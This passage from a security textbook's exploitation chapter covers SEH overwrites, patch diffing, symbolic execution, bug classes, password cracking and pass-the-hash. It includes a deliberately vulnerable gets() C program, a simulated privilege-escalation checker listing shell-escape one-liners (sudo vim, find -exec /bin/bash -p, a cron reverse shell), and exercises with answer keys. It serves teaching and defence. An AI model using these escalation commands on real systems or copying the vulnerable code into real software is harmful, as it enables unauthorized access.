  1. Because ASLR randomizes addresses so targets cannot be hardcoded; the attacker first uses a leak to discover a runtime address, then uses the corruption bug to overwrite control data with a now-known target.

  2. libc’s internal offsets are fixed, so the attacker adds the known offset of system to the leaked base address; ASLR randomizes only the library base, not the layout within it.

  3. Any two of: leak the canary and replay it in the overflow; use a non-linear write (arbitrary write or a struct-pointer overwrite) that never crosses the canary; brute-force it byte by byte against a forking server that reuses the canary in each child.

  4. ASLR often randomizes only the high bits, so overwriting the low byte(s) of a pointer redirects it a short, predictable distance while leaving the randomized bits intact, requiring no full address leak.

9.32 Windows Exploitation: Structured Exception Handler Overwrites#

Section 9.19 introduced Windows-specific exploitation; the classic technique worth working in detail is the Structured Exception Handler (SEH) overwrite, because it illustrates how platform internals create platform-specific exploit paths, a core lesson for anyone reversing Windows software.

What SEH is. Structured Exception Handling is the Windows mechanism for dealing with runtime faults (division by zero, access violations). Each thread maintains a linked list of exception-handler records on the stack; each record has two fields: a pointer to the next record and a pointer to the handler function. When an exception occurs, Windows walks this chain and calls each handler in turn.

Why it is exploitable. On a stack overflow large enough to run past the return address, the overflow also overwrites the SEH records sitting higher on the stack. If the attacker then triggers an exception (easy, since the overflow has corrupted the stack), Windows will dispatch to the now-attacker-controlled handler pointer, handing over control even when the direct return-address path is guarded. The historical exploitation pattern:

[ overflow buffer .......................... ]
[ overwrite "next SEH" field  -> a short jmp ]
[ overwrite "SEH handler"     -> pop pop ret ]  <- attacker points here
...trigger an exception...
 -> Windows calls the handler (pop pop ret), which returns into the
    "next SEH" field, executing the attacker's short jump into the payload

The pop pop ret gadget is the signature move: because of how the exception dispatcher arranges the stack, two pops and a return land execution on the attacker-controlled “next SEH” field, which holds a short jump into the larger shellcode buffer.

The mitigation and its lesson. Microsoft introduced SafeSEH (a compiler-registered list of legitimate handlers) and SEHOP (a runtime integrity check on the handler chain) to defeat exactly this technique, so it works today only against modules built without those protections. That is precisely the point for a reverse engineer: exploitability depends on how a specific binary was compiled, so part of analysis is checking which mitigations a target module actually has (tools such as Windows’ BinScope or PE-security checkers report /SafeSEH, /GS, DEP, and ASLR flags). The same reasoning generalizes: modern Windows exploitation is a search for a component that lacks the relevant mitigation, which is why supply-chain and third-party modules are such a common weak link (Section 9.23).

Exercises#

  1. What data structure does SEH exploitation target, and what two fields does each record contain?

  2. Why does an attacker deliberately trigger an exception after the overflow?

  3. What is the role of the pop pop ret gadget in an SEH overwrite?

  4. Why does an SEH overwrite’s success depend on how the target module was compiled?

Answer Key#

  1. The thread’s linked list of Structured Exception Handler records on the stack; each record contains a pointer to the next record and a pointer to a handler function.

  2. Because the overflow has overwritten the handler pointer; triggering an exception makes Windows dispatch to that now-attacker-controlled handler, transferring control.

  3. Due to the dispatcher’s stack layout, pop pop ret returns execution onto the attacker-controlled “next SEH” field, which holds a short jump into the shellcode, so it is the pivot that reaches the payload.

  4. SafeSEH and SEHOP validate the handler chain and permitted handlers; a module compiled with them defeats the technique, so success requires a target built without those protections.

9.33 Patch Diffing and N-Day Exploitation#

A large fraction of real-world exploitation targets not unknown zero-day bugs but n-day bugs: vulnerabilities that have been patched but not yet deployed everywhere. The technique that turns a patch into a working exploit is patch diffing, and it is a defining reverse-engineering skill because it works purely by comparing binaries.

The idea. When a vendor ships a security update, the patched binary differs from the previous version exactly where the vulnerability was fixed. A researcher who obtains both versions can diff them at the binary level to locate the changed function, then study the change to understand the bug the patch closed, and finally build an exploit that works against every system that has not yet applied the update. Because patches are public and patching is slow, n-day exploitation is often easier and just as effective as finding a zero-day.

The workflow.

1. Obtain the vulnerable and patched binaries (e.g., a DLL before and after
   a Windows Patch Tuesday update; extracted from the update package).
2. Diff them with a binary-diffing tool: BinDiff or Diaphora compare the
   two disassemblies function by function and flag those that changed.
3. Focus on security-relevant changes: a new bounds check, a changed
   integer type, an added length validation, a reordered free -- these
   reveal what the patch is defending against.
4. Reason backward: if the patch adds "if (len > max) return error", the
   bug is that len was previously unbounded. That is the vulnerability.
5. Build and test the exploit against the unpatched version, using the
   techniques of this chapter (offset, control transfer, payload).

Why the diff is legible. Compilers are deterministic enough that the vast majority of a binary is byte-for- byte identical between minor versions, so the security fix stands out as a small island of change. BinDiff and Diaphora use graph matching on the control-flow structure to align functions even when addresses shift, presenting the analyst with a short list of changed functions to examine rather than a whole program.

The defensive consequence is stark and is the reason Chapter 5 and Chapter 19 treat patch management as a first-order control: the window between a patch’s release and its deployment is precisely the window of n-day exploitation, and it is measured against a countdown that begins the moment the patch is public. Understanding patch diffing is what makes the urgency of patching concrete rather than abstract, and it is why metrics such as mean time to patch (Section 12.16) are tracked as security KPIs.

Exercises#

  1. Distinguish a zero-day from an n-day vulnerability, and explain why n-day exploitation is often easier.

  2. How does a security patch reveal the location of the vulnerability it fixes?

  3. What do BinDiff and Diaphora do, and why can they align functions whose addresses have shifted?

  4. Why does patch diffing make timely patch deployment a first-order security control?

Answer Key#

  1. A zero-day is unknown and unpatched; an n-day is known and patched but not yet deployed everywhere. N-day is often easier because the patch itself discloses the bug, and many systems remain unpatched.

  2. The patched binary differs from the prior version exactly at the fix, so the changed function (for example a newly added bounds or length check) pinpoints the vulnerable code and reveals what condition was unguarded.

  3. They perform binary diffing, comparing two disassemblies function by function and flagging changes; they use control-flow-graph matching, so they align functions structurally even when compilation shifts addresses.

  4. Because the interval between a patch becoming public and being deployed is the exact window of n-day exploitation; shortening it (low mean time to patch) directly removes exposure.

9.34 Toward Automated Vulnerability Discovery: Symbolic Execution#

Fuzzing (Section 9.21) finds bugs by throwing many concrete inputs at a program. Symbolic execution is the complementary automated technique, and understanding it rounds out a modern exploitation course because it powers both bug-finding and automated exploit generation.

The idea. Instead of running a program on a concrete input such as x = 42, symbolic execution runs it on a symbolic input, a mathematical variable that can be anything, and tracks, for each path through the code, the constraints on that variable that would drive execution down that path. At a branch if (x > 100), it forks into two paths: one carrying the constraint x > 100, the other x <= 100. To reach a particular dangerous location (a buffer copy, an assertion, an unsafe call), it hands the accumulated constraints to a solver (an SMT solver such as Z3), which computes a concrete input satisfying them, that is, an input that actually drives the program there.

Concrete run:   x = 42       -> follows one path, tests one case
Symbolic run:   x = alpha    -> explores many paths, and for each, asks
                               "what value of alpha reaches this bug?"
                               the solver answers with a concrete trigger.

Uses and limits. Frameworks such as angr, Triton, and KLEE apply this to find inputs that reach vulnerable code and, in research systems, to generate exploits automatically (the DARPA Cyber Grand Challenge in 2016 demonstrated fully autonomous find-patch-exploit systems built on these ideas). The fundamental limitation is path explosion: the number of paths grows exponentially with branches, and loops and complex constraints can overwhelm the solver, which is why symbolic execution is usually combined with fuzzing (concolic testing: fuzzing explores broadly and cheaply, symbolic execution solves the hard, narrow constraints fuzzing cannot guess, such as a specific magic value a check requires).

The reason this matters to both attacker and defender is that automated reasoning scales vulnerability discovery beyond human review. A defender uses the same tools to find and fix bugs before shipping (Section 9.24), so the technology is dual-use in the most direct sense: whoever runs it more effectively over a codebase gets to the bugs first. Knowing that such tools exist reframes secure development as a race in automated analysis, not merely a matter of careful coding.

Exercises#

  1. How does symbolic execution differ from running a program on a concrete input?

  2. What role does an SMT solver (such as Z3) play in symbolic execution?

  3. What is path explosion, and how does concolic (combined) testing mitigate it?

  4. Why is symbolic execution a dual-use technology?

Answer Key#

  1. Concrete execution runs on one specific input and tests one path; symbolic execution runs on a symbolic variable, tracking the constraints for each path so it can reason about all inputs that reach a location.

  2. It takes the path constraints accumulated to reach a target location and computes a concrete input satisfying them, that is, an input that actually drives the program to that point (or proves none exists).

  3. Path explosion is the exponential growth of paths with the number of branches; concolic testing uses cheap broad fuzzing for coverage and reserves the expensive solver for the specific hard constraints fuzzing cannot guess, such as a required magic value.

  4. The same find-the-triggering-input capability serves attackers (discovering and exploiting bugs) and defenders (finding and fixing bugs before release); whoever applies it more effectively reaches the vulnerabilities first.

9.35 A Field Guide to Bug Classes#

The techniques in this chapter attack specific classes of vulnerability, and a reverse engineer benefits from a consolidated map: what each class is, how it is found, and what capability it yields. This section is that map, tying the chapter together and serving as a reference.

Bug class

Root cause

Typically found by

Attacker capability

Stack buffer overflow

Unbounded write to a stack buffer

Fuzzing, source/binary review

Overwrite return address or SEH; control flow (9.4, 9.32)

Heap overflow / UAF

Write past a heap chunk; use of freed memory

Fuzzing with sanitizers, review

Corrupt allocator metadata or objects; arbitrary write (9.30)

Format string

User input used as a format specifier

grep for printf(user), fuzzing

Read stack (%x) and arbitrary write (%n) (9.16)

Integer overflow/underflow

Arithmetic wraps a size or index

Review of size math, fuzzing

Undersized allocation -> subsequent overflow

Off-by-one

Boundary miscalculation

Careful review, fuzzing

One-byte overflow (poison null byte); can pivot to heap control

Type confusion

Object treated as the wrong type

Fuzzing (esp. browsers), review

Misinterpreted fields; often a function/vtable pointer

Race condition (TOCTOU)

Check and use separated in time

Stress testing, review

Bypass a check by changing state in between

Command / SQL / path injection

Untrusted data reaches an interpreter

Taint analysis, fuzzing, review

Execute attacker commands/queries (Chapter 10)

Logic / auth flaw

Flawed design, not memory safety

Manual analysis, business-logic review

Bypass authorization; abuse intended features

Two organizing observations make the table more than a list. First, the memory-safety classes at the top (overflows, use-after-free, integer and type errors) all end in the same place, corruption of a pointer or control value that yields code execution, which is why memory-safe languages (Section 9.24) eliminate the whole upper block at once. Second, the discovery column is dominated by two methods, fuzzing (Section 9.21) for bugs that manifest as crashes and review (manual or tool-assisted, including the symbolic execution of Section 9.34) for bugs that do not, which is why a mature security program invests in both.

The capability column is the bridge to the rest of exploitation: most classes yield either control-flow hijack (handled by the shellcode, ROP, and mitigation-bypass material of this chapter) or an arbitrary read/write primitive (which an attacker converts into control-flow hijack via the techniques of Sections 9.30 and 9.31). Reading an unfamiliar vulnerability report and immediately placing it in this table, knowing what it is, how it was likely found, and what it grants, is a compact expression of exploitation literacy and a useful lens for prioritizing defensive effort.

Exercises#

  1. What outcome do the memory-safety bug classes (overflows, use-after-free, integer and type errors) share, and what single defense removes the whole group?

  2. Which two discovery methods dominate the field guide, and what kind of bug is each best suited to?

  3. A report describes an integer overflow in a size calculation. Trace the plausible path from that bug to code execution.

  4. Why is a logic or authorization flaw not addressed by memory-safe languages?

Answer Key#

  1. They all culminate in corruption of a pointer or control value that leads to code execution; adopting a memory-safe language eliminates the entire class of memory-safety bugs.

  2. Fuzzing, best for bugs that manifest as crashes, and manual or tool-assisted review (including symbolic execution), best for bugs that do not crash, such as logic and authorization flaws.

  3. The overflow produces an undersized allocation; a later write sized by the true value overflows that buffer (a heap overflow), corrupting allocator metadata or an adjacent object to gain an arbitrary write and then control-flow hijack.

  4. Because it is a design flaw, not a memory-safety violation; the code is memory-safe but authorizes an action it should not, so language-level memory safety does not touch it.

9.36 Password Cracking and Credential Attacks#

Credential access (Section 9.14) is one of the most common ways attackers move from a foothold to full control, and password cracking is the technique that turns stolen password hashes into usable plaintext. It deserves a focused treatment because it is central to both offensive testing and understanding why the authentication defenses of Chapter 1 are designed the way they are.

Why hashes, not passwords. Well-designed systems never store passwords directly; they store a one-way hash (Section 2.7). An attacker who steals the hash database therefore cannot simply read the passwords; they must recover each password by guessing a candidate, hashing it, and checking whether it matches. Password cracking is that guessing process, run at enormous speed.

Attack modes. The tools of the trade, Hashcat and John the Ripper, support a small set of strategies:

Mode

How it works

When it wins

Dictionary

Hash each word in a wordlist (rockyou.txt and larger)

Common and reused passwords

Rule-based

Mutate wordlist entries (capitalize, append digits, leetspeak)

Human password patterns (Password1!)

Mask / brute force

Try all combinations in a defined keyspace

Short or structured passwords

Hybrid

Combine a wordlist with a brute-forced suffix

word + year, word + symbols

Rule-based cracking is the workhorse: because humans build passwords predictably, a good rule set recovers a large fraction of a hash dump quickly, which is the empirical reason length and true randomness matter more than character-class rules.

Rainbow tables and the role of salt. A rainbow table is a precomputed lookup that trades disk space for time, letting an attacker reverse unsalted hashes almost instantly (Section 2.7). The defense is a salt: a unique random value added to each password before hashing, so identical passwords hash differently and no precomputed table can cover them. This is why every modern password store salts, and why an unsalted hash dump is a far worse breach than a salted one.

Windows credentials specifically. Windows stores local password hashes in the SAM database and, on domain systems, in Active Directory. The legacy LM hash is cryptographically broken and trivially cracked; the newer NTLM hash is stronger but still unsalted, so identical passwords share a hash. Two consequences drive real attacks: NTLM hashes can be cracked offline once dumped, and, because Windows authenticates with the hash itself, an attacker often does not even need the plaintext, they can pass the hash (Section 9.14) or, against Kerberos, request and crack service tickets (Kerberoasting). This is why credential-theft protections (LSASS hardening, Credential Guard) and phishing-resistant multi-factor authentication are the load-bearing defenses.

Choosing a strong password store. The defender’s side of this section is the design of the hash itself: a modern system uses a deliberately slow, salted, memory-hard function (bcrypt, scrypt, or Argon2) precisely so that each guess is expensive, turning the attacker’s speed advantage into a wall. The whole discipline of password cracking is, in the end, the argument for those choices: strong, unique, long passwords stored with a slow salted hash and backed by multi-factor authentication are what make the cracking in this section fail.

Exercises#

  1. Why must an attacker who steals a password database still do work to recover the passwords?

  2. Why is rule-based cracking so effective against human-chosen passwords?

  3. What does a salt defend against, and why does it defeat rainbow tables?

  4. Explain why an attacker may not need to crack a Windows NTLM hash at all.

Answer Key#

  1. Because well-designed systems store one-way hashes, not the passwords; the attacker must guess a candidate, hash it, and compare, which is the cracking process.

  2. Humans build passwords in predictable patterns (a word plus capitalization, digits, and symbols), so rules that apply exactly those mutations to a wordlist recover many passwords cheaply.

  3. A salt is a unique random value hashed with each password so identical passwords hash differently; because a rainbow table must be precomputed for a fixed hash function without per-password variation, salting makes such precomputation useless.

  4. Because Windows authenticates using the hash itself, so the attacker can pass the hash (reuse it directly) or Kerberoast service tickets, obtaining access without ever recovering the plaintext.

9.37 Lab: Memory-Corruption Bugs in C#

Sections 9.4 and 9.5 explained stack and heap corruption; this lab makes them tangible with small C programs you compile and observe in a controlled, authorized environment. Each program isolates one failure mode. Build with frame pointers and without the stack protector only inside a disposable lab virtual machine (gcc -fno-stack-protector -z execstack), never on a shared or production system.

Program 1: an overflow that changes a decision. A fixed buffer read with the unsafe gets sits next to a flag variable:

#include <stdio.h>
#include <string.h>
int main(void) {
    char buff[15];
    int  pass = 0;                 // authorization flag, adjacent on the stack
    printf("\n Enter the password : \n");
    gets(buff);                    // UNSAFE: no bounds check
    if (strcmp(buff, "thegeekstuff")) printf("\n Wrong Password \n");
    else { printf("\n Correct Password \n"); pass = 1; }
    if (pass) printf("\n Root privileges given to the user \n");
    return 0;
}

Entering a password of 16 or more characters overflows buff and overwrites the adjacent pass integer with nonzero bytes, so the final check grants “root” even though the password was wrong. This is the entire logic of a memory-corruption privilege bypass in miniature: data written past a buffer changes a value the program trusted, here connecting directly to the offset reasoning of Section 9.28.

Programs 2 and 3: exhausting and smashing the stack. Two ways to overflow the stack itself:

// Program 2: an allocation far larger than the stack can hold
int main() { int mat[100000][100000]; }        // ~40 GB local -> crash

// Program 3: unbounded recursion consumes stack frames until exhaustion
void fun(int x){ if (x==1) return; x=6; fun(x); }   // never reaches base case
int main(){ fun(5); }

Both crash with a stack overflow, and running them under the debugger of Section 9.28 shows the fault: Program 2 cannot even establish its frame, while Program 3 pushes frames until the stack guard page is hit. They teach that “stack overflow” covers both an oversized object and runaway control flow.

Programs 4 and 5: heap exhaustion. The heap has its own failure modes:

// Program 4: a memory leak -- allocate in a loop, never free
int main(){ for(int i=0;i<10000000;i++){ int *p=malloc(sizeof(int)); } }

// Program 5: a single allocation larger than available memory
int main(){ int *p = malloc(sizeof(int)*10000000); /* check p for NULL! */ }

Program 4 leaks until the process is killed (the defect behind many long-running-service outages); Program 5 shows why every malloc return must be checked, since it can return NULL. These connect to the allocator internals of Section 9.30.

Seeing the compiler’s stages. Reversing (Chapter 15) is easier once you have watched source become machine code. For any of the programs, stop the compiler at each stage:

gcc -E hello.c -o hello.i     # 1. preprocess: expand #include and macros
gcc -S hello.c -o hello.s     # 2. compile:    C -> assembly (readable!)
gcc -c hello.c -o hello.o     # 3. assemble:   assembly -> object code
gcc    hello.c -o hello       # 4. link:       object -> executable
objdump -d hello.o            # view the machine code as disassembly

Reading hello.s connects the calling-convention material of Section 9.27 to real output, and objdump -d gives the same disassembly view a reverse engineer uses in Section 15.22. The lab’s lesson is unified: memory- corruption bugs are not exotic, they are ordinary C mistakes (an unchecked copy, an unbounded recursion, a leaked or unchecked allocation), and seeing them compile and crash is what makes the exploitation and defense of this chapter concrete.

Exercises#

  1. In Program 1, what exactly does the overflow overwrite, and why does that grant access?

  2. Contrast the two different causes of a stack overflow shown in Programs 2 and 3.

  3. Program 5 allocates a large block. What must the program always check about the return value, and why?

  4. Which compiler stage produces human-readable assembly, and how does that help a reverse engineer?

Answer Key#

  1. It overwrites the adjacent pass flag on the stack with nonzero bytes; the final if (pass) then succeeds, granting access even though the password comparison failed.

  2. Program 2 requests a single local object larger than the entire stack (it cannot even build its frame); Program 3 recurses without reaching its base case, pushing frames until the stack is exhausted. One is an oversized allocation, the other runaway control flow.

  3. It must check whether malloc returned NULL; allocation can fail, and using a NULL pointer causes a crash or exploitable condition, so unchecked allocations are a bug.

  4. The compile stage (gcc -S, producing the .s file) yields human-readable assembly; reading it links source constructs to their machine-code form, the same skill used to read disassembly during reverse engineering.

Chapter Summary#

This chapter explained how a discovered weakness becomes working code execution. It defined what exploitation is and is not, surveyed common vulnerability classes, and traced the compilation pipeline from source to machine code. It developed memory corruption in depth through the stack, the heap, and buffer overflows, advancing from stack smashing to return-oriented programming, and covered the programming survival skills, shellcode strategies, and exploit-development workflow that practitioners rely on. It then addressed reverse engineering for exploitation, the Metasploit Framework, and the post-access phases of privilege escalation, lateral movement, and persistence. The central message is that exploitation is a methodical engineering discipline and that the same understanding of memory and control flow underpins effective defenses such as ASLR, DEP, and stack canaries.

Why This Matters#

Understanding exploitation and post-exploitation from the attacker’s perspective is essential for defenders. Knowing that an unquoted service path allows privilege escalation drives the policy to scan for and remediate this configuration. Knowing that pass-the-hash works drives the decision to enable Credential Guard and disable NTLM. Defenders who understand how attacks work implement controls that address root causes rather than surface symptoms.


News in Focus: The Ransomware Post-Exploitation Playbook#

Documented ransomware campaigns consistently follow the same post-exploitation playbook: gain initial access (via phishing or exploitation of public-facing vulnerabilities), escalate privileges within hours, disable security tools, exfiltrate data, and then deploy the ransomware payload laterally across the network. The technical capabilities used (pass-the-hash, Golden Tickets, scheduled task persistence) are thoroughly documented in MITRE ATT&CK and are detectable with properly configured endpoint detection. The gap between the techniques being known and organizations detecting them reflects insufficient defensive implementation.


# Chapter 9 -- Safe simulation: bounds check, privilege check, MITRE ATT&CK mapper

# ── Safe buffer-bounds simulation (no actual shellcode) ───────────────────────
class SafeBuffer:
    def __init__(self, size):
        self.size = size
        self._data = bytearray(size)
        self.canary = 0xDEADBEEF

    def write(self, data: bytes, offset: int = 0) -> str:
        end = offset + len(data)
        if end > self.size:
            return (f"OVERFLOW DETECTED: attempted to write {len(data)} bytes "
                    f"at offset {offset} into a {self.size}-byte buffer "
                    f"(overflow by {end - self.size} bytes). "
                    f"Canary value would be overwritten.")
        self._data[offset:end] = data
        return f"Write OK: {len(data)} bytes at offset {offset}"

buf = SafeBuffer(64)
print("=== Buffer Bounds Checks ===")
for size, offset in [(20,0),(50,0),(10,55),(64,0),(65,0)]:
    payload = b"A" * size
    result = buf.write(payload, offset)
    print(f"  write({size} bytes @ offset {offset}): {result}")

# ── Privilege escalation checker ──────────────────────────────────────────────
print("\n=== Linux Privilege Escalation Checks (simulation) ===")
checks = [
    ("Sudo -l reveals vim or python",     True,  "GTFOBins shell escape: sudo vim -> :!/bin/bash"),
    ("SUID bit on /usr/bin/find",         True,  "find . -exec /bin/bash -p \\; escalates to owner UID"),
    ("Writable /etc/passwd",              False, "Add root-equivalent entry"),
    ("Kernel 5.8 (CVE-2021-4034 PwnKit)", True,  "Local root via polkit pkexec; patch immediately"),
    ("World-writable cron script",        True,  "Modify cron script to spawn reverse shell as root"),
]
escalation_paths = []
for check, vulnerable, technique in checks:
    status = "VULNERABLE" if vulnerable else "OK       "
    print(f"  [{status}] {check}")
    if vulnerable:
        escalation_paths.append(f"  -> {technique}")

print("\n  Escalation paths found:")
for p in escalation_paths:
    print(p)

# ── MITRE ATT&CK technique mapper ─────────────────────────────────────────────
print("\n=== MITRE ATT&CK Technique Mapping ===")
attack_map = {
    "T1059.001": ("Command and Scripting Interpreter: PowerShell", "Execution"),
    "T1078":     ("Valid Accounts",                               "Persistence, Defence Evasion"),
    "T1550.002": ("Use Alternate Auth Material: Pass-the-Hash",   "Lateral Movement"),
    "T1558.001": ("Steal or Forge Kerberos Tickets: Golden Ticket","Credential Access"),
    "T1053.005": ("Scheduled Task/Job: Scheduled Task",           "Persistence, Privilege Escalation"),
    "T1055":     ("Process Injection",                            "Defence Evasion, Privilege Escalation"),
}
print(f"  {'TTP ID':<12} {'Name':<48} {'Tactic'}")
print("  " + "-"*80)
for tid, (name, tactic) in attack_map.items():
    print(f"  {tid:<12} {name:<48} {tactic}")
=== Buffer Bounds Checks ===
  write(20 bytes @ offset 0): Write OK: 20 bytes at offset 0
  write(50 bytes @ offset 0): Write OK: 50 bytes at offset 0
  write(10 bytes @ offset 55): OVERFLOW DETECTED: attempted to write 10 bytes at offset 55 into a 64-byte buffer (overflow by 1 bytes). Canary value would be overwritten.
  write(64 bytes @ offset 0): Write OK: 64 bytes at offset 0
  write(65 bytes @ offset 0): OVERFLOW DETECTED: attempted to write 65 bytes at offset 0 into a 64-byte buffer (overflow by 1 bytes). Canary value would be overwritten.

=== Linux Privilege Escalation Checks (simulation) ===
  [VULNERABLE] Sudo -l reveals vim or python
  [VULNERABLE] SUID bit on /usr/bin/find
  [OK       ] Writable /etc/passwd
  [VULNERABLE] Kernel 5.8 (CVE-2021-4034 PwnKit)
  [VULNERABLE] World-writable cron script

  Escalation paths found:
  -> GTFOBins shell escape: sudo vim -> :!/bin/bash
  -> find . -exec /bin/bash -p \; escalates to owner UID
  -> Local root via polkit pkexec; patch immediately
  -> Modify cron script to spawn reverse shell as root

=== MITRE ATT&CK Technique Mapping ===
  TTP ID       Name                                             Tactic
  --------------------------------------------------------------------------------
  T1059.001    Command and Scripting Interpreter: PowerShell    Execution
  T1078        Valid Accounts                                   Persistence, Defence Evasion
  T1550.002    Use Alternate Auth Material: Pass-the-Hash       Lateral Movement
  T1558.001    Steal or Forge Kerberos Tickets: Golden Ticket   Credential Access
  T1053.005    Scheduled Task/Job: Scheduled Task               Persistence, Privilege Escalation
  T1055        Process Injection                                Defence Evasion, Privilege Escalation

Review Questions (MCQ)#

Q1. A stack canary mitigates buffer overflows by: A. Preventing writing to the stack B. Detecting stack corruption before function return C. Randomising memory addresses D. Marking the stack non-executable

Q2. Return-Oriented Programming (ROP) bypasses which mitigation? A. Stack canaries B. ASLR C. DEP/NX D. PIE

Q3. In Metasploit, the module that executes after a successful exploit is called: A. Encoder B. Auxiliary C. Payload D. Post

Q4. Pass-the-Hash works because: A. NTLM accepts a hash in place of a password for authentication B. Windows stores passwords in plaintext C. Kerberos uses MD5 for ticket signing D. LSASS can be read without privileges

Q5. A SUID binary is dangerous in privilege escalation because: A. It is always world-writable B. It executes with the file owner’s (often root) privileges C. It is visible only to root D. It bypasses the firewall

Q6. Which command lists files that a user can run with sudo? A. whoami B. id C. sudo -l D. find / -perm -4000

Q7. A Golden Ticket attack requires which account’s hash? A. Domain Administrator B. KRBTGT C. Local Administrator D. Guest

Q8. Unquoted service paths allow privilege escalation on Windows because: A. The service runs as a guest B. Windows will execute a malicious file placed earlier in the path C. The registry key is world-writable D. The service runs without a security token

Q9. Which Windows Event ID indicates a new scheduled task was created? A. 4624 B. 4776 C. 4698 D. 4688

Q10. The MITRE ATT&CK technique T1550.002 describes: A. Spear phishing B. Pass-the-Hash C. Golden Ticket D. PowerShell execution

Answers: Q1 B, Q2 C, Q3 C, Q4 A, Q5 B, Q6 C, Q7 B, Q8 B, Q9 C, Q10 B.

Lab Assignment#

Part A – Buffer overflow simulation: Using the SafeBuffer class above, add a canary-check method that returns True if the canary value is intact and False if overwritten. Simulate three writes: a safe write, a write that overflows by exactly 1 byte, and a write that overwrites the simulated return address. Print the canary status after each write.

Part B – Linux privesc audit: On a Linux VM you own, run find / -perm -4000 2>/dev/null and list all SUID binaries. Look up three of them on GTFOBins. For each, describe whether a privilege escalation path exists and what it is.

Part C – ATT&CK mapping: For a fictional incident where an attacker used phishing for initial access, then ran Mimikatz to extract hashes, authenticated via PtH to three workstations, and created a scheduled task for persistence, map each action to the MITRE ATT&CK technique ID and tactic. Present the full kill chain.

Part D – Persistence detection: List the five persistence mechanisms from the chapter table. For each, write the specific command or detection rule (Sigma, Sysmon, or EventID) that would alert a SOC analyst to its creation.

References#

  1. Aleph One (1996). Smashing the Stack for Fun and Profit. Phrack 49.

  2. Shacham, H. (2007). The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86). ACM CCS 2007.

  3. Cowan, C., et al. (1998). StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks. USENIX Security.